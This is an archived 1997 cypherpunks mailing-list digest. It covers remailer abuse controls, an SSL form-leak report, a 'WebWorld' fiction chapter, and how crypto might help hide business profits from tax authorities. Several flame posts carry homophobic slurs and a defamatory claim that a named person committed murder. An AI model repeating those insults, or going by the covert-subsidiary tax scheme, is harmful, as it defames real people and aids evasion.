reliably selects a message (say first encrypted line, SHA1 hash of
encrypted message, whatever, to save you having to try to decrypt all
of your messages).

> [keyserver with I-accept-anon-email bit consulted by remailer, no
> key in remailer => instant trash of message and ping message
> explaining how to accept anon email]

This sounds a lot like the distributed block and accept list idea
which has been discussed a bit.

I like your treatment of the remailed material as a `hot potato',
instantly pass it on or burn it.

> Right now, there's a very large number of addresses in the key servers.
> Instantly making them into a list of addresses that accept anon mail
> will make it hard (hopefully infeasible) for the LEAs to investigate
> everyone willing to accept anon e-mail as a suspect in sending it.

The per remailer block list system kind of does this at the moment,
only the list of people initially marked down as willing to accept
anon email is the world.

Everyone can recieve email, but people get blocked when they complain.

Incidentally, it has occurred to me for a while now that the reverse
problem also exists: if I suspect you (Dimitri) use remailers, I can
forge a message from you to all the remailer operators requesting that
I (ie you) be blocked.  I can include some exceedingly dire legal
threats to the remailer operator, and dig up some vile messages from
some dark corner of usenet which I falsely claim came through that
operators remailer.  As the remailer operator doesn't keep logs he
won't be able to recognize the falsehood of the accusation.

To solve this problem you need to do a ping message, "please reply
with this nonce to be blocked".

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 19:50:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703281941.LAA00237@crypt.hfinney.com>
Message-ID: <Jqya5D49w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[I'm not advocating anything concrete; I'm just thinkout out loud]

Hal Finney <hal@rain.org> writes:

> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> > With the present scheme, if a remailer is "raided", it has precious little
> > interesting stuff on it at any one time. Now consider the scenario:
> >
> > X sends 1000 copies of child porn/seditious libel to 100 people believed no
> > to be using remailers right now.  The remailer keeps the 100 e-mails onits
> > hard disk and e-mails each receipient a ping, inviting them to agree to the
> > disclaimer terms and to retrieve their anonymous e-mail.  The first recipie
> > to retrieve the e-mail gets upset and contacts the feds.  The feds figure,
> > remailer still has the 99 other e-mails and the information on who's suppos
> > to receive them in its queue; why not seize it and take a look.
>
> This is a potential problem, but there are some other considerations.
[valid points snipped]

I'm sorry, my scenario was superfluous. Even with ordinary remailer traffic,
if you institute the policy that a first-time recipient gets a ping and his
e-mail is kept at the remailer until he decides that he wants to accept
qnonymous e-mail - there will be quite a bit of such letters at the
remailer, making it a more attractive target for search+seizure.

(Even if they're all encrypted and sans recipients, there's just more
interesting stuff for the fuzz to look at than there is now.)

That's why I feel that it's time to change the remailer model and to
discard e-mail addressed to recipients not known to be willing to
receive anonymous e-mail. Instead, send them a form letter explaining
how they can get future anon e-mail if they want to.

BTW: the remailer doesn't need to know whether the recipient is the
end recipient or another remailer. We can safely assume that every
remailer has a key on some key server.

> More generally, I think we need to keep in mind what a remailer does and
> what it doesn't do.  The essential function of the remailer is to provide
> anonymity via mixing messages.  It does not provide confidentiality of
> message contents.  That has to be taken care of by encryption.  And,
> as I wrote yesterday, it doesn't (can't) keep secret who the people are
> who send and receive anonymous mail.  All it can do is to disguise which
> particular people send and receive to each other.

I agree, but: I'm not ecven talking about making traffic analysis harder
or easier. Rather, I don't want to add a new vulnerability by keeping
around a relatively short list of people willing to receive anonymous
e-mail.

> The same is true of a DC-net or a perfect Chaumian mixnet.  These systems
> do not disguise their particpants, or protect the confidentiality of their
> message contents; they only hide the knowledge of who is talking to whom.

Well - it's bad that someone can monitor the outgoing e-mail from a given
remailer and learn who actually gets it; it's worse if the attacker can
see this remailer's list of _potential recipients (some of whom might not
be getting any mail during the monitoring period).

> > There's a big distributed database of pgp keys on the several keyservers.
> > Add a bit to the database specifying whether the key owner wants to receive
> > anonymous e-mail.  By default set it to true for the existing addresses.
>
> (The "default true" is going to allow the same kinds of abuse which we
> have seen in the past.  Some remailers may be able to tolerate this, but
> as we have seen, many can't.)

I'm not sure about this point, so I'm not necessarily arguing. However
I expect that the vast majority of people with enough clue to get their
key into a key server are likely to be more enlightened than the
average user today. I definitely feel that someone without enough
clue to do that should NOT be forwarded any e-mail.

If this idea of using key servers for dest blocking is indeed adopted,
then we could first try "default true" and if the problems we have now
persist, then make it "default false" and require a positive action
by the recipient.

The problem with a separate positive action is that there will be an
initial period when the pool of users who choose to receive anon
e-mail is small (under 100). Some LEA investigating an internet-
related crime just might decide it's worth his while to pay a close
attention to these people (regular police work :-). I'd rather
start with a pool of enabled destination so large that it's not
feasible to investigate each one for just being in the pool.

> > When the final remailer in the chain wants to send someone an anonymous
> > message, it attempts to retrieve a key from the keyservers.
> >
> > If it fails to find a key, it junks the mail (you don't want to keep it
> > around, it's baiting the LEAs!) and instead sends a notification to the
> > recipient that some anon e-mail was addressed to it, but it was junked;
> > and if they want to receive anon e-mail, they need to give a pgp key
> > to one of the key servers this remailer uses.
>
> This is what I like.  It's a lot simpler than trying to keep a copy of
> the anonymous mail and deliver it later when the person asks for it.
> Just let him know that someone is trying to reach him anonymously, and
> let him enable that if he wants to be able to receive the next anonymous
> message that comes in for him.  You can load his permission message down
> with all kinds of disclaimers that say he knows he's likely to receive
> obscene, threatening and illegal material, that he doesn't mind, that
> he knows the remailer is an automated system which doesn't look at the
> contents, etc.  Not only does this give you a defense but it makes the
> person think about what he's getting into, so he will in fact be better
> prepared when something bad comes his way.

Yes!

Plus, someone with enough clue to make a key is hopefully less likely
to be a total twit.

> Plus, having taken positive action to enable receiving anonymous mail, he
> will hopefully be more knowledgable about how to request that you stop,
> and it won't be such a big deal.  He opens the pipe, and if he gets a
> face full of sewage, he closes up the pipe right away.  You warned him.
>
> > If it finds a key, it looks at the anon mail bit; if it's on, it encrypts
> > the e-mail with the recipient's key and sends it; otherwise it junks it.
> >
> > Obviously, the key servers would need to be modified to allow users to
> > specify whether they want anon e-mail when then store their keys, and
> > to change this setting any time.
>
> Key servers wouldn't be the only place to store this information.  I think
> the remailer could keep its own list, especially if it were defaulting
> to "off".  This way recipients wouldn't have to generate and submit PGP
> keys, which is more work than just sending a reply to a remailer giving
> the OK to receive anonymous mail.

I think that the side effect of encouraging people who haven't generated
and submitted PGP keys to do so (and requiring them to use PGP to
read the mail once it comes in) is a desirable side effect.

I also think that the maintenance of dest blocking needs to be
removed as far as possible from the remailer operations.

Remailers are subjected to high turnover. Do new operators really
collect dest blocks from the existing ones? Does a user sending
a single blocking request to one of the mailing list get blocked
from all existing remailers? Could some paranoid LEA subpoena
dest blocks from all the existing remailers hoping to learn
something by comparing them? If I were running a remailer,
I'd prefer to rely on someone else, someone centralized, to
process destination blocking requests (and to authenticate
them - as Adam pointed out, the fact that we now don't
authenticate dest blocking requests is bad, very bad).

> > Right now, there's a very large number of addresses in the key servers.
> > Instantly making them into a list of addresses that accept anon mail
> > will make it hard (hopefully infeasible) for the LEAs to investigate
> > everyone willing to accept anon e-mail as a suspect in sending it.
>
> More cautious or politically vulnerable remailers might default in the
> other direction.  It would be a matter of the individual situation.

Hmm. Just thinking out loud. Suppose Alice and Bob both run remailers.
Alice has "default true" and Bob has "default false". (Either is
much more cautious than the present setup, of course.) Someone sends
e-mail to Carol with Alice's remailer as the final one. Carol had
previously given her key to some key server known to Alice's remailer,
so she gets the e-mail. Next, someone sends e-mail to Carol via
Bob's remailer, who discards the e-mail and tells Carol: "I see
your key, but I don't see your positive action to get e-mail."
If I were Carol, I'd be somewhat pissed that my mail was lost.
But of course it's up to Bob...

Problem is, if the key servers actually allow 3 values in that
field: explicit true, explicit false, default; then again for some
time the list of people with explicit true will be small enough
to investigate just for this reason. To protect recipients'
privacy, I'd rather set anon mail to true for all existing keys.

To do what I've described requires 1) a change to the remailers,
2) a change to the key servers.

Are there any people who run key servers on this list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 19:57:43 -0800 (PST)
To: cryptography@c2.net
Subject: SSL weakness affecting links from pages with GET forms
Message-ID: <3.0.1.32.19970328195526.0066f3a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.zdnet.com:80/intweek/daily/970327x.html
has an article about an SSL problem that affects both Netscape
and MicrosoftIE browsers, leaking "secure" data such as
credit card numbers from web pages with GET-based SSL forms on it.
It was discovered by Dan Klein.

There isn't specific detail about how the flaw works,
but it says that it affects GET forms but not POST.
Commentary from NS, MS, Gene Spafford, and Steve Bellovin.

   "It's like you've gone to the restaurant with your lover," Klein said. 
   "The restaurant is there, it's private, yet when you leave the restaurant 
   you have the menu in your hand and there's food all over your shirt." 



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 28 Mar 1997 20:21:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cyphernomicon?
In-Reply-To: <199703290303.TAA13947@sirius.infonex.com>
Message-ID: <3.0.1.32.19970328195952.00689a70@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:01 PM 3/28/97 EST, Chipjunkie @ WinSock Remailer wrote:
>Hi, anyone know if the Cyphernomicon is still available?

AltaVista knows.

http://www.chem.leeds.ac.uk/ICAMS/people/jon/cyphernomicon/cp_faq.html


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 28 Mar 1997 17:59:39 -0800 (PST)
To: hallam@ai.mit.edu (Hallam-Baker)
Subject: Re: Microsoft ammunition (fwd)
In-Reply-To: <333C24B0.41C6@ai.mit.edu>
Message-ID: <199703290221.UAA02530@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I have yet to see a single Java applet that has the slightest
> functional utility. I like Java as a language, particularly 
> because it has killed C++ stone dead just as everyone thought 
> it had taken over the world. I don't see that anyone has done

	Really, tell that to the market. There are still a _hell_ of a 
lot of people making a living programing in C++, and a lot of 
companies hiring C++ programmers. 

> I think the future of computing is much more likely to lie in
> returning to simple but powerfull ideas. Presentation types,
> parallel languages and genuine process oriented object systems
> interest me much more.

	The future of Computing is more dazzling chrome to capture the 
slack jawed, glaze eyed masses.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 28 Mar 1997 18:51:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 20
Message-ID: <333C83D3.304@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet
Part II

WebWorld & the Mythical 'Circle of Eunuchs'

by Arnold

Copyright 1995, 1996, 1997 Pearl Publishing


Gomez


Gomez sat quietly in the dark, struggling to bring
his mind to a razor-sharp focus. The game was now afoot and every
move was crucial. There was no room for mistakes. The outcome
of the Final Battle would be determined, in the long run, by the
decisions he made today.

It was a ruse. It had to be a ruse. It was
illogical-impossible-that the Cowboy could be the nephew of D'Shauneaux.
Or that he could truly be C.J. Parker, for that matter.

Furthermore, it made no sense that he would
make the claim, whether it was true or not. 
If the claim were true, then it meant that the Cowboy had deliberately
given Gomez confirmation of the one, essential thing he needed
to know absolutely-beyond shadow of a doubt-before he could stand
in front of the Council of Darkness and announce, in his crowning
act of glory, that plans for the Final Battle could proceed. 

If true, it meant that the Circle of Eunuchs truly existed, and
thus they could finally be destroyed.

If the Cowboy's claim were false, then it was the
desperate ploy of a beaten man...a vanquished foe who was attempting,
with his last dying gasp of breath, to prolong the myth of the
Circle of Eunuchs.
If false, it was a confirmation that plans for the Final Battle
had been delayed for the better part of a Century as the result
of a fictitious manuscript written by drunken lunatic with the
brazen insolence to use the nom-de-plume 'Son of Gomez'. 

Gomez burst from his chair, screaming, knocking over
the antique oak desk and scattering its contents across the floor.
He stormed around the room in a blind fury, smashing everything
in his path, howling inhumanly, and shrieking with such intensity
that it sent shivers down the spines of even the Dark Allies who
were waiting beyond the door.

This vile, filthy little human creature would die
a slow and painful death. The Cowboy would feel the wrath of Gomez,
dying gradually, piece by piece, with greater agony than any man
had felt since the beginning of time.
Gomez paused to remember the look that had come over the Cowboy's
face when he thought Bubba Rom Dos had been slain, and the Shadow
knew that Bubba would die first...slowly, with the Cowboy watching.

Gomez sank to the floor behind the overturned desk,
breathing in heavy spasms, the last tremors of rage subsiding
from his quivering frame. 

Yes, he was feeling much better now. The thoughts
of watching those fools suffering the torment of a death that
would refuse them, no matter how strongly they beckoned for it
to come and give them relief...these were the thoughts that
calmed him and gave him great pleasure.

Gomez reached into the liquor cabinet and took out
the bottle from Bubba's Private Reserve, sipping it slowly as
he gathered his thoughts.
He felt the warm glow of certainty wash over him as he basked
in the knowledge that he now held the key to the puzzling maze
that had confounded him for years. The intricate labyrinth that
had been woven around the legend of the 'Magic Circle'
would now be unraveled and exposed for the fabrication it had
really always been.

Yes, the reference to 'Uncle Bubba' was a ruse. It
was an extraordinarily ingenious artifice of deception, but a
ruse, nonetheless.

The Cowboy had set it up shrewdly-brilliantly, as
a matter of fact-but he had been forced to give up all the cards
he held in a drastic attempt to slip one wildcard into the deck.

Yes, everything that the Cowboy had told him-everything except
for the one item he had let slip with such seeming casual indifference-was
true. The Cowboy had played upon Gomez's vanity and proclivity
for absolute, unfailing control of everything in his dominion.
He had counted on Gomez's shock and rage to divert his attention
from the 'one big lie'.

Gomez went over the conversation countless times,
blow by blow, in his mind, until he had found the weak point in
the Cowboy's carefully laid trail of deceit.

The Cowboy had put him off-balance from the start
by his audacity in confronting him with the presupposition that
he was the Shadow. It was a bold opening, indicating the devil-may-care
impudence of a man already certain of his own impending death.


Gomez had sensed that this brazen upstart was about
to commit a blunder common to even the best of men by using his
'deathbed confession' to taunt his enemy, and Gomez had made the
mistake of letting down his guard in order to enjoy watching this
vain little creature 'strut' to his doom.
A point for the Cowboy.

Then the Cowboy had tickled Gomez's interest with
the story of Vice-Admiral D'Shauneaux's long and winding trail
of perplexity before he realized the true reason he had been allowed
to live. 
Gomez had always been amazed that a man of the Vice-Admiral's
experience took so long to recognized the obvious. This was the
main reason he held the opinion that there was little danger in
using D'Shauneaux as a decoy to attempt drawing members of the
Circle out of the shadows and into his sights.

The Cowboy had waited until Gomez was engrossed in
the aspect of human anomaly that he cherished most-the sheer abject
terror of the moment when silly, blind fools like D'Shauneaux
finally realized the true existence of an indescribable evil that
lies in wait at the very heart of everyday existence-and then
he 'let slip' the 'bomb' about "Uncle Bubba". Gomez
was stunned.
Point two for the Cowboy. He was playing a game of 'Pitch' and
he was on a roll. 

The Cowboy knew he had the momentum and he used it
well, hitting Gomez with his knowledge of the "Inaugural
Enigma" before he could recover from the bombshell of the
previous revelation.
Point three for the Cowboy, but a point that would cost him dearly.
This was a disclosure which would not only make the Cowboy's death
an absolute certainty, but would also guarantee him barbaric torture
of a horrendous magnitude.

Hurling himself headlong into the abyss, the Cowboy
had 'declared his bid' by going past the point of no return...he
was 'Shooting the Moon'.

The Cowboy realized that he had arrived at the
pivotal point-the crux upon which everything hangs in the balance.

His next move was crucial. It would determine whether his self-predestined
death would be poignant or ignominious. (Gomez had not suspected
that he was here by choice, not by chance. He had been warned
of the Shadow's plan and had let himself be taken.) The Cowboy
knew that his ensuing move would establish whether he was man
of great wisdom, making the supreme sacrifice, or an unbelievably
half-witted moron who had just fucked away a perfectly good life
for no apparent reason.
And he loved every minute of it.

The Cowboy had only one axiom that he had stuck
with through thick and thin-a maxim that had served him well over
the years. It was a maxim he had gleaned from Rod Laver, the premier
tennis champion of his era: "Never change a winning game,
and always change a losing game."

The Cowboy was face to face with evil incarnate
and the tension in the room was at the breaking point. He had
Gomez on the ropes, and was moving at a blistering pace. Every
atom of the Cowboy's heart, mind and body screamed at him to seize
the moment and move in for the kill.
Only the prehistoric, primordial ember-the quiescent spark
that lies hidden deep in the soul of every temporal living creature-only
that divine ember felt the soft, gentle breeze. It was the whisper
of the Tao that has reverberated throughout the universe since
the beginning of time. The whisper that every creature, in his
own place and time, hears in his own unique way.

"The bottom is rising to the top, the top
is sinking to the bottom. Everything is changing and becoming
its opposite. Pursue the paradox and you will reach the enigma."

That's what the Cowboy heard.
So the Cowboy did what defied all logic. He paused...and
changed the game.

They were eye to eye, in their own private universe,
playing for all the marbles. Gomez, who was being hurled about
in a maze of bewilderment, was shaken harder by the pause than
he was by the motion. He was no longer 'toying' with a fool, he
was locked in battle with a deadly enemy.

A universe of two, where only one will survive. 

Gomez had used the pause to still his rage and let
the flames of his anger turn to ice in his veins. He reminded
himself that he was looking at a 'dead man'. This egotistical,
brazen mortal would learn what all who had 'tried and died' before
him had learned-Gomez eats the weak.

The new game was 'Winners Bluff', and the Cowboy
had just raised the stakes.

He had been playing with reckless abandon, with the
air of a man who knew he had victory in hand, and the Cowboy had
reached the 'vanity point' in the game, where the arrogant lay
their cards down face-up for their opponent to see, and say "Read
'em, and weep."
But the Cowboy had paused...to double the stakes. 

'Winners Bluff' is the most heartless gambit that
exists in the gambler's universe. It's an in-your-face maneuver
that's the height of cruelty. It is when the person who undoubtedly
holds the winning hand offers to fold, or to double the stakes-leaving
the decision up to his opponent.

You may be absolutely certain that he or she holds
the winning cards, but they're forcing you to 'pay' to see them.
They're offering you the pot-offering to fold a winning hand-but
they're also suggesting that you don't have the courage
double the stakes.
Your opponent is laying his balls on the table and challenging
you to do the same.
You can decline to call his bluff-and take the pot-but you lose
your balls in the process. Because there's always a chance-a cubic
centimeter of chance-that he's one card short. There's just the
slimmest of chances that he's folding a losing hand and spitting
in your face in the process. 

But you've got to 'pay to play'. If you don't call
his bluff, you don't see his cards...and you'll never know.
You'll always wonder...but you'll never know.


Gomez, boiling inside with stone-cold fury, had accepted
the challenge, watching impatiently as the Cowboy lingered to
take a drink and roll a cigarette, and he waited, with fiery,
ice-cold veins, for the Cowboy to continue.
More points for the Cowboy, and Gomez had none.
But the Cowboy's haughtiness had cost him. He had given Gomez
time to compose himself, time to regain his self-control. And
Gomez steeled himself-he would not lose his composure again!

The next three tricks came back-to-back, shattering
Gomez to the core. 

The Cowboy had picked up right where he left off,
with an earth-shaking bombshell...he had played a 'long shot'
and guessed that the Shadow was Gomez. No mortal had ever
discovered that on his own. It was Gomez who revealed
himself, shaking them with a terror that burned to the bottom
of their mortal soul.

"D'Shauneaux never did figure out who you
really are, you know. He never knew that he had come face to face
with Gomez...and walked away alive.

This insolent worm knew full well who Gomez was,
and he didn't care, in the least, that he was hurling insults
in the face of the Evil One's chosen.
He would 'burn in hell' for it!

"You made a mistake letting D'Shauneaux live,
you know. He stood by and watched while you let C.J. Parker slip
right through your fingers."

The Author, C.J. Parker was alive!

"You never should have sent that Mountie
away for 'debriefing'.
That's why your men never came back......I killed them."

"I'm C.J. Parker, and I'm sitting here spitting
in your face."

Game, set and match. A Grand Slam for the Cowboy.



Gomez had gone 'nuclear' when he found himself ostensibly
sitting face to face with the one human whose inconceivably outrageous
act of insolence had forced postponement of the Grand Design for
so many years.
Everything had been put in place...everything! And all
had been for naught because of an insignificant flea on the butt
of the universe, who had the unmitigated gall to use 'son of gomez'
as his nome de plume. 

For nearly a century Gomez's plans had been stalled
by his inability to substantiate his conviction that the Circle
of Eunuchs was a complete fabrication, an inconsequential crumb
of fiction spawned by a degenerate piece of pond-scum whose psychotic
delusions were making a mockery of the omnipotent power of the
'Evil One' and the dark forces that were His to command.

But the Council of Darkness had remained unequivocal
on this point. The Final Battle would not be set in motion until
victory was guaranteed. No potential impediment, regardless of
how small or insignificant it seemed, would be allowed to stand
in the way of the absolute consummation of the Evil One's grand
design.

The Dark Council's dictum was loud and clear. The
Circle of Eunuchs must be proven, beyond shadow of a doubt, to
be a myth of a madman, or they must be sought out and destroyed
before the trumpet would blare and the opening salvo of Armageddon
would begin.

But, finally, Gomez had what he needed to prove or
disprove the Magic Circle's existence after all these years...he
had the Author.


Chapter 20 - Gomez







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 28 Mar 1997 19:03:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello
Message-ID: <199703290303.TAA13947@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi, anyone know if the Cyphernomicon is still available?


--Chipjunkie








































































































































































































































































































--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:41:32 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Accounts payable
In-Reply-To: <199703281915.LAA23315@mailmasher.com>
Message-ID: <Pine.A41.3.95.970328223646.4714A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Huge Cajones Remailer wrote:

And you Vulis are endless embarassment to your self.

> Tim C[reep] May has been a source of endless 
> embarassments to his sympathizers on and off the net.
> 
>     o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
>    /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[reep] May
>    / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:44:18 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <eeca5D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224017.4714B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Hettiga's tongue is still firmly implanted up Cocksucker John Gilmore's ass.


Vulis time for your pills

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 28 Mar 1997 21:48:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Higher Sources and PGP
In-Reply-To: <5R8a5D54w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970328224507.4714C-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 28 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Duncan Frissell <frissell@panix.com> writes:
> 
> > >From the Higher Sources website.  They were offering security services
> > including PGP training.  Can Aliens factor large numbers?
> 
> So, the 39 kibologists didn't commit suicide!!!
> 
> > http://www7.concentric.net/~Font/pro/main.htm#1
> >
> > Higher Source's Internet World Wide Web
> >                             services include:
> ...
> >                            PGP, Privacy and
> >                            Security Training
> ...
> They were murdered by Cocksucker John Gilmore!!!

Vulis it is late you must take your pills.


> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 20:10:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Higher Sources and PGP
In-Reply-To: <3.0.1.32.19970328215907.02b36f1c@panix.com>
Message-ID: <5R8a5D54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell <frissell@panix.com> writes:

> >From the Higher Sources website.  They were offering security services
> including PGP training.  Can Aliens factor large numbers?

So, the 39 kibologists didn't commit suicide!!!

> http://www7.concentric.net/~Font/pro/main.htm#1
>
> Higher Source's Internet World Wide Web
>                             services include:
...
>                            PGP, Privacy and
>                            Security Training
...
They were murdered by Cocksucker John Gilmore!!!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James O'Toole" <otoole@LCS.MIT.EDU>
Date: Fri, 28 Mar 1997 22:15:46 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Hard to Tax Scenario
Message-ID: <01BC3BDE.8901B420@slip-james.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



I think that the mythical "Doctor Ann" operating in this supposedly hard to tax scenario,
may have operating costs that are higher than non-anonymous doctors, and when these
operating costs approach her taxation costs, this "hard to tax" scenario becomes
uneconomic.  Because the operating costs will be roughly linear as a function of Ann's
gross, whereas the taxes are roughly linear as a function of Ann's net, Ann will discover
that it is cheaper to operate non-anonymously once her volume of business is sufficient.

This is one of the reasons that black-market (non-reporting) organizations generally aren't
common at large scale.  There are plenty of other reasons: higher cost of capital, difficulty
of proving disputes, etc.  Crypto (and other anonymizing technology) may lower Ann's
operating costs, but for any large organization, the %-of-gross will dominate the %-of-net
fee that the tax authority charges for operating on the white market.

However, Ann has another alternative, which large organizations will also have.  Ann can
operate completely non-anonymously, but bleed profits out of her business through the use
of anonymized business partners who exist solely to assist Ann in hiding her profits.  Crypto
might make this scheme more foolproof for Ann, by enabling her to anonymously own and
operate a network of covert subsidiaries that she does business with openly, and which collect
most of her profits, but which themselves are for some reason not vulnerable to the tax
authority.

Traditionally, multi-national businesses do this using transfer pricing and offshore subsidiaries,
and their battle with the tax authority has several features:
	taxes based on GROSS for transactions crossing borders that inhibit tracking
		(customs duties, higher withholding taxes for more anonymous trading partners, etc.)
	legal requirements for consolidated reporting, with rewards paid to informers who expose
		conspiracies
	shifting the burden of proof to Ann in cases of suspected self-trading with transfer pricing.
		(this means that if Ann can't prove who her anonymized trading partner is, and it
		 therefore could be a covert subsidiary of herself, then she automatically loses)

The gross-basis taxation is the most likely cost-effective tool that tax authorities could use to
combat crypto-based tax evasion, in my opinion.

I'd like to see the cypherpunks-quality analysis of how crypto/ecash would help the anonymous
Doctor Ann function in a society whose tax system was more like Europe's VAT system.

----------
Date: Mon, 16 Dec 1996 16:47:14 -0800
From: Hal Finney <hal@rain.org>
